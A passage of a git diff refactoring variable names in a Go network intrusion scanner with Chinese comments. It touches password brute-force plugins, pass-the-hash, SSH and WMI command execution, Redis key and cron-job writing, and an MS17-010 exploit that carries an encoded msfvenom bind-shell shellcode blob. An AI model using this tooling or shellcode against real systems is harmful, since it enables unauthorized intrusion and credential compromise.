password") flag.StringVar(&Username, "user", "", "用户名") flag.StringVar(&Password, "pwd", "", "密码") flag.StringVar(&Domain, "domain", "", "域名(用于SMB)") - flag.StringVar(&SshKey, "sshkey", "", "SSH密钥文件(id_rsa)") + flag.StringVar(&SshKeyPath, "sshkey", "", "SSH密钥文件(id_rsa)") // 扫描配置 - flag.StringVar(&Scantype, "m", "all", "扫描类型,例如: -m ssh") - flag.IntVar(&Threads, "t", 600, "线程数量") + flag.StringVar(&ScanMode, "m", "all", "扫描类型,例如: -m ssh") + flag.IntVar(&ThreadNum, "t", 600, "线程数量") flag.Int64Var(&Timeout, "time", 3, "超时时间(秒)") flag.IntVar(&LiveTop, "top", 10, "显示存活主机数量") - flag.BoolVar(&NoPing, "np", false, "禁用存活探测") - flag.BoolVar(&Ping, "ping", false, "使用ping替代ICMP") + flag.BoolVar(&DisablePing, "np", false, "禁用存活探测") + flag.BoolVar(&UsePing, "ping", false, "使用ping替代ICMP") flag.StringVar(&Command, "c", "", "执行命令(支持ssh|wmiexec)") // 文件配置 - flag.StringVar(&HostFile, "hf", "", "主机列表文件") - flag.StringVar(&Userfile, "userf", "", "用户名字典") - flag.StringVar(&Passfile, "pwdf", "", "密码字典") - flag.StringVar(&Hashfile, "hashf", "", "Hash字典") - flag.StringVar(&PortFile, "portf", "", "端口列表文件") + flag.StringVar(&HostsFile, "hf", "", "主机列表文件") + flag.StringVar(&UsersFile, "userf", "", "用户名字典") + flag.StringVar(&PasswordsFile, "pwdf", "", "密码字典") + flag.StringVar(&HashFile, "hashf", "", "Hash字典") + flag.StringVar(&PortsFile, "portf", "", "端口列表文件") // Web配置 - flag.StringVar(&URL, "u", "", "目标URL") - flag.StringVar(&UrlFile, "uf", "", "URL列表文件") + flag.StringVar(&TargetURL, "u", "", "目标URL") + flag.StringVar(&URLsFile, "uf", "", "URL列表文件") flag.StringVar(&Cookie, "cookie", "", "设置Cookie") flag.Int64Var(&WebTimeout, "wt", 5, "Web请求超时时间") - flag.StringVar(&Proxy, "proxy", "", "设置HTTP代理") + flag.StringVar(&HttpProxy, "proxy", "", "设置HTTP代理") flag.StringVar(&Socks5Proxy, "socks5", "", "设置Socks5代理(将用于TCP连接,超时设置将失效)") // POC配置 flag.StringVar(&PocPath, "pocpath", "", "POC文件路径") flag.StringVar(&Pocinfo.PocName, "pocname", "", "使用包含指定名称的POC,例如: -pocname weblogic") - flag.BoolVar(&NoPoc, "nopoc", false, "禁用Web漏洞扫描") + flag.BoolVar(&DisablePoc, "nopoc", false, "禁用Web漏洞扫描") flag.BoolVar(&PocFull, "full", false, "完整POC扫描,如:shiro 100个key") flag.BoolVar(&DnsLog, "dns", false, "启用dnslog验证") flag.IntVar(&PocNum, "num", 20, "POC并发数") @@ -69,21 +69,21 @@ func Flag(Info *HostInfo) { // Redis利用配置 flag.StringVar(&RedisFile, "rf", "", "Redis写入SSH公钥文件") flag.StringVar(&RedisShell, "rs", "", "Redis写入计划任务") - flag.BoolVar(&Noredistest, "noredis", false, "禁用Redis安全检测") + flag.BoolVar(&DisableRedis, "noredis", false, "禁用Redis安全检测") // 暴力破解配置 - flag.BoolVar(&IsBrute, "nobr", false, "禁用密码爆破") - flag.IntVar(&BruteThread, "br", 1, "密码爆破线程数") + flag.BoolVar(&DisableBrute, "nobr", false, "禁用密码爆破") + flag.IntVar(&BruteThreads, "br", 1, "密码爆破线程数") // 其他配置 - flag.StringVar(&Path, "path", "", "FCG/SMB远程文件路径") - flag.StringVar(&Hash, "hash", "", "Hash值") - flag.StringVar(&SC, "sc", "", "MS17漏洞shellcode") - flag.BoolVar(&IsWmi, "wmi", false, "启用WMI") + flag.StringVar(&RemotePath, "path", "", "FCG/SMB远程文件路径") + flag.StringVar(&HashValue, "hash", "", "Hash值") + flag.StringVar(&Shellcode, "sc", "", "MS17漏洞shellcode") + flag.BoolVar(&EnableWmi, "wmi", false, "启用WMI") // 输出配置 flag.StringVar(&Outputfile, "o", "result.txt", "结果输出文件") - flag.BoolVar(&TmpSave, "no", false, "禁用结果保存") + flag.BoolVar(&DisableSave, "no", false, "禁用结果保存") flag.BoolVar(&Silent, "silent", false, "静默扫描模式") flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出") flag.BoolVar(&JsonOutput, "json", false, "JSON格式输出") diff --git a/Common/Parse.go b/Common/Parse.go index 1dab7f6..b0bfb5f 100644 --- a/Common/Parse.go +++ b/Common/Parse.go @@ -21,7 +21,7 @@ func Parse(Info *HostInfo) { // ParseUser 解析用户名配置,支持直接指定用户名列表或从文件读取 func ParseUser() error { // 如果未指定用户名和用户名文件,直接返回 - if Username == "" && Userfile == "" { + if Username == "" && UsersFile == "" { return nil } @@ -34,8 +34,8 @@ func ParseUser() error { } // 从文件加载用户名列表 - if Userfile != "" { - users, err := Readfile(Userfile) + if UsersFile != "" { + users, err := Readfile(UsersFile) if err != nil { return fmt.Errorf("读取用户名文件失败: %v", err) } @@ -77,8 +77,8 @@ func ParsePass(Info *HostInfo) error { } // 从文件加载密码列表 - if Passfile != "" { - passes, err := Readfile(Passfile) + if PasswordsFile != "" { + passes, err := Readfile(PasswordsFile) if err != nil { return fmt.Errorf("读取密码文件失败: %v", err) } @@ -92,8 +92,8 @@ func ParsePass(Info *HostInfo) error { } // 处理哈希文件 - if Hashfile != "" { - hashes, err := Readfile(Hashfile) + if HashFile != "" { + hashes, err := Readfile(HashFile) if err != nil { return fmt.Errorf("读取哈希文件失败: %v", err) } @@ -104,7 +104,7 @@ func ParsePass(Info *HostInfo) error { continue } if len(line) == 32 { - Hashs = append(Hashs, line) + HashValues = append(HashValues, line) validCount++ } else { fmt.Printf("[!] 无效的哈希值(长度!=32): %s\n", line) @@ -114,23 +114,23 @@ func ParsePass(Info *HostInfo) error { } // 处理直接指定的URL列表 - if URL != "" { - urls := strings.Split(URL, ",") + if TargetURL != "" { + urls := strings.Split(TargetURL, ",") tmpUrls := make(map[string]struct{}) for _, url := range urls { if url != "" { if _, ok := tmpUrls[url]; !ok { tmpUrls[url] = struct{}{} - Urls = append(Urls, url) + URLs = append(URLs, url) } } } - fmt.Printf("[*] 已加载直接指定的URL: %d 个\n", len(Urls)) + fmt.Printf("[*] 已加载直接指定的URL: %d 个\n", len(URLs)) } // 从文件加载URL列表 - if UrlFile != "" { - urls, err := Readfile(UrlFile) + if URLsFile != "" { + urls, err := Readfile(URLsFile) if err != nil { return fmt.Errorf("读取URL文件失败: %v", err) } @@ -140,7 +140,7 @@ func ParsePass(Info *HostInfo) error { if url != "" { if _, ok := tmpUrls[url]; !ok { tmpUrls[url] = struct{}{} - Urls = append(Urls, url) + URLs = append(URLs, url) } } } @@ -148,8 +148,8 @@ func ParsePass(Info *HostInfo) error { } // 从文件加载端口列表 - if PortFile != "" { - ports, err := Readfile(PortFile) + if PortsFile != "" { + ports, err := Readfile(PortsFile) if err != nil { return fmt.Errorf("读取端口文件失败: %v", err) } @@ -205,53 +205,53 @@ func Readfile(filename string) ([]string, error) { // ParseInput 解析和验证输入参数配置 func ParseInput(Info *HostInfo) error { // 检查必要的目标参数 - if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" { + if Info.Host == "" && HostsFile == "" && TargetURL == "" && URLsFile == "" { fmt.Println("[!] 未指定扫描目标") flag.Usage() return fmt.Errorf("必须指定扫描目标") } // 配置基本参数 - if BruteThread <= 0 { - BruteThread = 1 - fmt.Printf("[*] 已将暴力破解线程数设置为: %d\n", BruteThread) + if BruteThreads <= 0 { + BruteThreads = 1 + fmt.Printf("[*] 已将暴力破解线程数设置为: %d\n", BruteThreads) } - if TmpSave { + if DisableSave { IsSave = false fmt.Println("[*] 已启用临时保存模式") } // 处理端口配置 - if Ports == DefaultPorts { - Ports += "," + Webport + if Ports == MainPorts { + Ports += "," + WebPorts } - if PortAdd != "" { + if AddPorts != "" { if strings.HasSuffix(Ports, ",") { - Ports += PortAdd + Ports += AddPorts } else { - Ports += "," + PortAdd + Ports += "," + AddPorts } - fmt.Printf("[*] 已添加额外端口: %s\n", PortAdd) + fmt.Printf("[*] 已添加额外端口: %s\n", AddPorts) } // 处理用户名配置 - if UserAdd != "" { - users := strings.Split(UserAdd, ",") + if AddUsers != "" { + users := strings.Split(AddUsers, ",") for dict := range Userdict { Userdict[dict] = append(Userdict[dict], users...) Userdict[dict] = RemoveDuplicate(Userdict[dict]) } - fmt.Printf("[*] 已添加额外用户名: %s\n", UserAdd) + fmt.Printf("[*] 已添加额外用户名: %s\n", AddUsers) } // 处理密码配置 - if PassAdd != "" { - passes := strings.Split(PassAdd, ",") + if AddPasswords != "" { + passes := strings.Split(AddPasswords, ",") Passwords = append(Passwords, passes...) Passwords = RemoveDuplicate(Passwords) - fmt.Printf("[*] 已添加额外密码: %s\n", PassAdd) + fmt.Printf("[*] 已添加额外密码: %s\n", AddPasswords) } // 处理Socks5代理配置 @@ -268,45 +268,45 @@ func ParseInput(Info *HostInfo) error { if err != nil { return fmt.Errorf("Socks5代理格式错误: %v", err) } - NoPing = true + DisablePing = true fmt.Printf("[*] 使用Socks5代理: %s\n", Socks5Proxy) } // 处理HTTP代理配置 - if Proxy != "" { - switch Proxy { + if HttpProxy != "" { + switch HttpProxy { case "1": - Proxy = "http://127.0.0.1:8080" + HttpProxy = "http://127.0.0.1:8080" case "2": - Proxy = "socks5://127.0.0.1:1080" + HttpProxy = "socks5://127.0.0.1:1080" default: - if !strings.Contains(Proxy, "://") { - Proxy = "http://127.0.0.1:" + Proxy + if !strings.Contains(HttpProxy, "://") { + HttpProxy = "http://127.0.0.1:" + HttpProxy } } - if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") { + if !strings.HasPrefix(HttpProxy, "socks") && !strings.HasPrefix(HttpProxy, "http") { return fmt.Errorf("不支持的代理类型") } - _, err := url.Parse(Proxy) + _, err := url.Parse(HttpProxy) if err != nil { return fmt.Errorf("代理格式错误: %v", err) } - fmt.Printf("[*] 使用代理: %s\n", Proxy) + fmt.Printf("[*] 使用代理: %s\n", HttpProxy) } // 处理Hash配置 - if Hash != "" { - if len(Hash) != 32 { + if HashValue != "" { + if len(HashValue) != 32 { return fmt.Errorf("Hash长度必须为32位") } - Hashs = append(Hashs, Hash) + HashValues = append(HashValues, HashValue) } // 处理Hash列表 - Hashs = RemoveDuplicate(Hashs) - for _, hash := range Hashs { + HashValues = RemoveDuplicate(HashValues) + for _, hash := range HashValues { hashByte, err := hex.DecodeString(hash) if err != nil { fmt.Printf("[!] Hash解码失败: %s\n", hash) @@ -314,7 +314,7 @@ func ParseInput(Info *HostInfo) error { } HashBytes = append(HashBytes, hashByte) } - Hashs = []string{} + HashValues = []string{} return nil } @@ -323,34 +323,36 @@ func ParseInput(Info *HostInfo) error { func ParseScantype(Info *HostInfo) error { // 先处理特殊扫描类型 specialTypes := map[string]string{ - "hostname": "135,137,139,445", - "webonly": Webport, - "webpoc": Webport, - "web": Webport, - "portscan": DefaultPorts + "," + Webport, - "main": DefaultPorts, - "all": DefaultPorts + "," + Webport, - "icmp": "", // ICMP不需要端口 + "service": ServicePorts, + "db": DbPorts, + "web": WebPorts, + "all": AllPorts, + "main": MainPorts, + "port": MainPorts + "," + WebPorts, + "icmp": "", // ICMP不需要端口 } // 如果是特殊扫描类型 - if customPorts, isSpecial := specialTypes[Scantype]; isSpecial { - if Scantype != "all" && Ports == DefaultPorts+","+Webport { + if customPorts, isSpecial := specialTypes[ScanMode]; isSpecial { + // 专门处理 all 类型 + if ScanMode == "all" { + Ports = AllPorts // 直接设置为 1-65535 + } else if Ports == MainPorts+","+WebPorts { Ports = customPorts } - fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", Scantype, Ports) + fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", ScanMode, Ports) return nil } // 检查是否是注册的插件类型 - plugin, validType := PluginManager[Scantype] + plugin, validType := PluginManager[ScanMode] if !validType { showmode() - return fmt.Errorf("无效的扫描类型: %s", Scantype) + return fmt.Errorf("无效的扫描类型: %s", ScanMode) } // 如果是插件扫描且使用默认端口配置 - if Ports == DefaultPorts+","+Webport { + if Ports == MainPorts+","+WebPorts { if plugin.Port > 0 { Ports = strconv.Itoa(plugin.Port) } diff --git a/Common/ParsePort.go b/Common/ParsePort.go index 9363913..e1485dc 100644 --- a/Common/ParsePort.go +++ b/Common/ParsePort.go @@ -23,20 +23,12 @@ func ParsePort(ports string) []int { continue } - // 处理预定义端口组 - if PortGroup[port] != "" { - groupPorts := ParsePort(PortGroup[port]) - scanPorts = append(scanPorts, groupPorts...) - fmt.Printf("[*] 解析端口组 %s -> %v\n", port, groupPorts) - continue - } - // 处理端口范围 upper := port if strings.Contains(port, "-") { ranges := strings.Split(port, "-") if len(ranges) < 2 { - fmt.Printf("[!] 无效的端口范围格式: %s\n", port) + fmt.Printf("[-] 无效的端口范围格式: %s\n", port) continue } @@ -57,7 +49,7 @@ func ParsePort(ports string) []int { end, _ := strconv.Atoi(upper) for i := start; i <= end; i++ { if i > 65535 || i < 1 { - fmt.Printf("[!] 忽略无效端口: %d\n", i) + fmt.Printf("[-] 忽略无效端口: %d\n", i) continue } scanPorts = append(scanPorts, i) diff --git a/Common/Ports.go b/Common/Ports.go new file mode 100644 index 0000000..b10c3f9 --- /dev/null +++ b/Common/Ports.go @@ -0,0 +1,7 @@ +package Common + +var ServicePorts = "21,22,135,139,445,1433,1521,3306,3389,5432,6379,9000,11211,27017" +var DbPorts = "1433,1521,3306,5432,6379,11211,27017" +var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" +var AllPorts = "1-65535" +var MainPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" diff --git a/Core/PortScan.go b/Core/PortScan.go index 47cb659..5e3c06e 100644 --- a/Core/PortScan.go +++ b/Core/PortScan.go @@ -29,7 +29,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { probePorts = excludeNoPorts(probePorts) // 创建通道 - workers := Common.Threads + workers := Common.ThreadNum addrs := make(chan Addr, 100) results := make(chan string, 100) var wg sync.WaitGroup @@ -110,7 +110,7 @@ func NoPortScan(hostslist []string, ports string) []string { // excludeNoPorts 排除指定的端口 func excludeNoPorts(ports []int) []int { - noPorts := Common.ParsePort(Common.NoPorts) + noPorts := Common.ParsePort(Common.ExcludePorts) if len(noPorts) == 0 { return ports } diff --git a/Core/Scanner.go b/Core/Scanner.go index 802291b..8e79ef2 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -13,8 +13,8 @@ func Scan(info Common.HostInfo) { fmt.Println("[*] 开始信息扫描...") // 本地信息收集模块 - if Common.Scantype == "localinfo" { - ch := make(chan struct{}, Common.Threads) + if Common.ScanMode == "localinfo" { + ch := make(chan struct{}, Common.ThreadNum) wg := sync.WaitGroup{} AddScan("localinfo", info, &ch, &wg) wg.Wait() @@ -25,7 +25,7 @@ func Scan(info Common.HostInfo) { } // 解析目标主机IP - Hosts, err := Common.ParseIP(info.Host, Common.HostFile, Common.NoHosts) + Hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts) if err != nil { fmt.Printf("[!] 解析主机错误: %v\n", err) return @@ -33,23 +33,23 @@ func Scan(info Common.HostInfo) { // 初始化配置 lib.Inithttp() - ch := make(chan struct{}, Common.Threads) + ch := make(chan struct{}, Common.ThreadNum) wg := sync.WaitGroup{} var AlivePorts []string if len(Hosts) > 0 || len(Common.HostPort) > 0 { // ICMP存活性检测 - if (Common.NoPing == false && len(Hosts) > 1) || Common.Scantype == "icmp" { - Hosts = CheckLive(Hosts, Common.Ping) + if (Common.DisablePing == false && len(Hosts) > 1) || Common.ScanMode == "icmp" { + Hosts = CheckLive(Hosts, Common.UsePing) fmt.Printf("[+] ICMP存活主机数量: %d\n", len(Hosts)) - if Common.Scantype == "icmp" { + if Common.ScanMode == "icmp" { Common.LogWG.Wait() return } } // 端口扫描策略 - AlivePorts = executeScanStrategy(Hosts, Common.Scantype) + AlivePorts = executeScanStrategy(Hosts, Common.ScanMode) // 处理自定义端口 if len(Common.HostPort) > 0 { @@ -69,12 +69,12 @@ func Scan(info Common.HostInfo) { } info.Host, info.Ports = hostParts[0], hostParts[1] - executeScanTasks(info, Common.Scantype, &ch, &wg) + executeScanTasks(info, Common.ScanMode, &ch, &wg) } } // URL扫描 - for _, url := range Common.Urls { + for _, url := range Common.URLs { info.Url = url AddScan("web", info, &ch, &wg) } @@ -115,7 +115,7 @@ func executeScanTasks(info Common.HostInfo, scanType string, ch *chan struct{}, switch info.Ports { case "135": AddScan("findnet", info, ch, wg) - if Common.IsWmi { + if Common.EnableWmi { AddScan("wmiexec", info, ch, wg) } case "445": diff --git a/Plugins/FTP.go b/Plugins/FTP.go index 041999e..e7e8c28 100644 --- a/Plugins/FTP.go +++ b/Plugins/FTP.go @@ -11,7 +11,7 @@ import ( // FtpScan 执行FTP服务扫描 func FtpScan(info *Common.HostInfo) (tmperr error) { // 如果已开启暴力破解则直接返回 - if Common.IsBrute { + if Common.DisableBrute { return } diff --git a/Plugins/FcgiScan.go b/Plugins/FcgiScan.go index c01c064..3f23b9e 100644 --- a/Plugins/FcgiScan.go +++ b/Plugins/FcgiScan.go @@ -21,14 +21,14 @@ import ( // FcgiScan 执行FastCGI服务器漏洞扫描 func FcgiScan(info *Common.HostInfo) error { // 如果设置了暴力破解模式则跳过 - if Common.IsBrute { + if Common.DisableBrute { return nil } // 设置目标URL路径 url := "/etc/issue" - if Common.Path != "" { - url = Common.Path + if Common.RemotePath != "" { + url = Common.RemotePath } addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) diff --git a/Plugins/MS17010-Exp.go b/Plugins/MS17010-Exp.go index c88d384..3f1d624 100644 --- a/Plugins/MS17010-Exp.go +++ b/Plugins/MS17010-Exp.go @@ -19,7 +19,7 @@ func MS17010EXP(info *Common.HostInfo) { var sc string // 根据不同类型选择shellcode - switch Common.SC { + switch Common.Shellcode { case "bind": // msfvenom生成的Bind Shell, 监听64531端口 sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK" @@ -56,15 +56,15 @@ func MS17010EXP(info *Common.HostInfo) { default: // 从文件读取或直接使用提供的shellcode - if strings.Contains(Common.SC, "file:") { - read, err := ioutil.ReadFile(Common.SC[5:]) + if strings.Contains(Common.Shellcode, "file:") { + read, err := ioutil.ReadFile(Common.Shellcode[5:]) if err != nil { - Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.SC, err)) + Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err)) return } sc = fmt.Sprintf("%x", read) } else { - sc = Common.SC + sc = Common.Shellcode } } diff --git a/Plugins/MS17010.go b/Plugins/MS17010.go index 45b18fc..0d808d4 100644 --- a/Plugins/MS17010.go +++ b/Plugins/MS17010.go @@ -84,7 +84,7 @@ func init() { // MS17010 扫描入口函数 func MS17010(info *Common.HostInfo) error { // 暴力破解模式下跳过扫描 - if Common.IsBrute { + if Common.DisableBrute { return nil } @@ -200,7 +200,7 @@ func MS17010Scan(info *Common.HostInfo) error { // 如果指定了shellcode,执行漏洞利用 defer func() { - if Common.SC != "" { + if Common.Shellcode != "" { MS17010EXP(info) } }() diff --git a/Plugins/MSSQL.go b/Plugins/MSSQL.go index d69bafa..c4ea972 100644 --- a/Plugins/MSSQL.go +++ b/Plugins/MSSQL.go @@ -11,7 +11,7 @@ import ( // MssqlScan 执行MSSQL服务扫描 func MssqlScan(info *Common.HostInfo) (tmperr error) { - if Common.IsBrute { + if Common.DisableBrute { return } diff --git a/Plugins/Mongodb.go b/Plugins/Mongodb.go index 38a61ef..bc83a28 100644 --- a/Plugins/Mongodb.go +++ b/Plugins/Mongodb.go @@ -9,7 +9,7 @@ import ( // MongodbScan 执行MongoDB未授权扫描 func MongodbScan(info *Common.HostInfo) error { - if Common.IsBrute { + if Common.DisableBrute { return nil } diff --git a/Plugins/MySQL.go b/Plugins/MySQL.go index a4f7fa4..1b03a37 100644 --- a/Plugins/MySQL.go +++ b/Plugins/MySQL.go @@ -11,7 +11,7 @@ import ( // MysqlScan 执行MySQL服务扫描 func MysqlScan(info *Common.HostInfo) (tmperr error) { - if Common.IsBrute { + if Common.DisableBrute { return } diff --git a/Plugins/Oracle.go b/Plugins/Oracle.go index 0d05884..ddab0e9 100644 --- a/Plugins/Oracle.go +++ b/Plugins/Oracle.go @@ -11,7 +11,7 @@ import ( // OracleScan 执行Oracle服务扫描 func OracleScan(info *Common.HostInfo) (tmperr error) { - if Common.IsBrute { + if Common.DisableBrute { return } diff --git a/Plugins/Postgres.go b/Plugins/Postgres.go index d2a8b89..0fa446b 100644 --- a/Plugins/Postgres.go +++ b/Plugins/Postgres.go @@ -11,7 +11,7 @@ import ( // PostgresScan 执行PostgreSQL服务扫描 func PostgresScan(info *Common.HostInfo) (tmperr error) { - if Common.IsBrute { + if Common.DisableBrute { return } diff --git a/Plugins/RDP.go b/Plugins/RDP.go index 3bbfab3..fdc7104 100644 --- a/Plugins/RDP.go +++ b/Plugins/RDP.go @@ -30,7 +30,7 @@ type Brutelist struct { // RdpScan 执行RDP服务扫描 func RdpScan(info *Common.HostInfo) (tmperr error) { - if Common.IsBrute { + if Common.DisableBrute { return } @@ -47,7 +47,7 @@ func RdpScan(info *Common.HostInfo) (tmperr error) { port, _ := strconv.Atoi(info.Ports) // 启动工作协程 - for i := 0; i < Common.BruteThread; i++ { + for i := 0; i < Common.BruteThreads; i++ { wg.Add(1) go worker(info.Host, Common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, Common.Timeout) } diff --git a/Plugins/Redis.go b/Plugins/Redis.go index 7dfd978..7b68dba 100644 --- a/Plugins/Redis.go +++ b/Plugins/Redis.go @@ -27,7 +27,7 @@ func RedisScan(info *Common.HostInfo) (tmperr error) { return err } - if Common.IsBrute { + if Common.DisableBrute { return } @@ -167,7 +167,7 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) { // Expoilt 尝试Redis漏洞利用 func Expoilt(realhost string, conn net.Conn) error { // 如果配置为不进行测试则直接返回 - if Common.Noredistest { + if Common.DisableRedis { return nil } diff --git a/Plugins/SMB.go b/Plugins/SMB.go index ffd5c6b..b6afaf9 100644 --- a/Plugins/SMB.go +++ b/Plugins/SMB.go @@ -12,7 +12,7 @@ import ( // SmbScan 执行SMB服务的认证扫描 func SmbScan(info *Common.HostInfo) (tmperr error) { // 如果未启用暴力破解则直接返回 - if Common.IsBrute { + if Common.DisableBrute { return nil } diff --git a/Plugins/SMB2.go b/Plugins/SMB2.go index 1e157c3..e636673 100644 --- a/Plugins/SMB2.go +++ b/Plugins/SMB2.go @@ -15,7 +15,7 @@ import ( func SmbScan2(info *Common.HostInfo) (tmperr error) { // 如果未启用暴力破解则直接返回 - if Common.IsBrute { + if Common.DisableBrute { return nil } @@ -51,7 +51,7 @@ func smbHashScan(info *Common.HostInfo, hasprint bool, startTime int64) error { return err } - if len(Common.Hash) > 0 { + if len(Common.HashValue) > 0 { break } } @@ -80,7 +80,7 @@ func smbPasswordScan(info *Common.HostInfo, hasprint bool, startTime int64) erro return err } - if len(Common.Hash) > 0 { + if len(Common.HashValue) > 0 { break } } @@ -101,7 +101,7 @@ func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) { } if len(hash) > 0 { - result += fmt.Sprintf("Hash:%v", Common.Hash) + result += fmt.Sprintf("HashValue:%v", Common.HashValue) } else { result += fmt.Sprintf("Pass:%v", pass) } @@ -112,8 +112,8 @@ func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) { func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) { var errlog string if len(hash) > 0 { - errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v", - info.Host, info.Ports, user, Common.Hash, err) + errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v HashValue:%v Err:%v", + info.Host, info.Ports, user, Common.HashValue, err) } else { errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v", info.Host, info.Ports, user, pass, err) @@ -213,7 +213,7 @@ func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, // 添加认证信息 if len(hash) > 0 { - result += fmt.Sprintf("Hash:%v ", Common.Hash) + result += fmt.Sprintf("HashValue:%v ", Common.HashValue) } else { result += fmt.Sprintf("Pass:%v ", pass) } diff --git a/Plugins/SSH.go b/Plugins/SSH.go index b56267e..d488da1 100644 --- a/Plugins/SSH.go +++ b/Plugins/SSH.go @@ -12,7 +12,7 @@ import ( ) func SshScan(info *Common.HostInfo) (tmperr error) { - if Common.IsBrute { + if Common.DisableBrute { return } @@ -82,7 +82,7 @@ func SshScan(info *Common.HostInfo) (tmperr error) { } // 如果指定了SSH密钥,则不进行密码尝试 - if Common.SshKey != "" { + if Common.SshKeyPath != "" { return err } } @@ -94,8 +94,8 @@ func SshScan(info *Common.HostInfo) (tmperr error) { func SshConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (flag bool, err error) { // 准备认证方法 var auth []ssh.AuthMethod - if Common.SshKey != "" { - pemBytes, err := ioutil.ReadFile(Common.SshKey) + if Common.SshKeyPath != "" { + pemBytes, err := ioutil.ReadFile(Common.SshKeyPath) if err != nil { return false, fmt.Errorf("[-] 读取密钥失败: %v", err) } @@ -203,7 +203,7 @@ func SshConn(ctx context.Context, info *Common.HostInfo, user string, pass strin if result.err != nil { return true, result.err } - if Common.SshKey != "" { + if Common.SshKeyPath != "" { Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v", info.Host, info.Ports, string(result.output))) } else { @@ -212,7 +212,7 @@ func SshConn(ctx context.Context, info *Common.HostInfo, user string, pass strin } } } else { - if Common.SshKey != "" { + if Common.SshKeyPath != "" { Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v", info.Host, info.Ports)) } else { diff --git a/Plugins/SmbGhost.go b/Plugins/SmbGhost.go index 